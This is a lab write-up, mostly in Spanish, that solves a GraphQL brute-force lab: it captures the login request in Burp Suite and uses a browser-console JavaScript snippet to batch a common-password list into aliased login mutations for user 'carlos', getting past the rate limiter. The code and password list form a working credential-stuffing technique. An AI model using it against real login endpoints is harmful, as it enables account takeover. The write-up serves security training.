
Descripción
The user login mechanism for this lab is powered by a GraphQL API. The API endpoint has a rate limiter that returns an error if it receives too many requests from the same origin in a short space of time.
To solve the lab, brute force the login mechanism to sign in as carlos. Use the list of authentication lab passwords as your password source.
Learn more about Working with GraphQL in Burp Suite.
Bypassing GraphQL brute force protections writeup
Entraremos al laboratorio y realizaremos un inicio de sesión fallido. Capturaremos la petición con el ‘Logger’ de Burp Suite y la enviaremos al ‘Repeater’:

Vemos que directamente la extensión de Burp Suite ‘InQL GraphQL Scanner’ nos proporciona la función de login. Ahora, como sabemos por la descripción del laboratorio que usa un método de protección de fuerza bruta, tomaremos el código JavaScript del enunciado y lo pegaremos en la consola del navegador:
copy(`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`.split(',').map((element,index)=>`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {
token
success
}
`.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");

Iremos a la petición del ‘Repeater’ y la modificaremos de la siguiente forma:

Pegaremos dentro de los ‘{‘ ‘}’ el contenido de nuestro portapapeles. El resultado será el siguiente:

Buscando en la respuesta por ‘true’, encontraremos la función que ha conseguido hacer login. Buscaremos seguidamente su número en la petición y veremos que la contraseña es ‘love’.
Al volver al navegador e iniciar sesión completaremos el laboratorio:

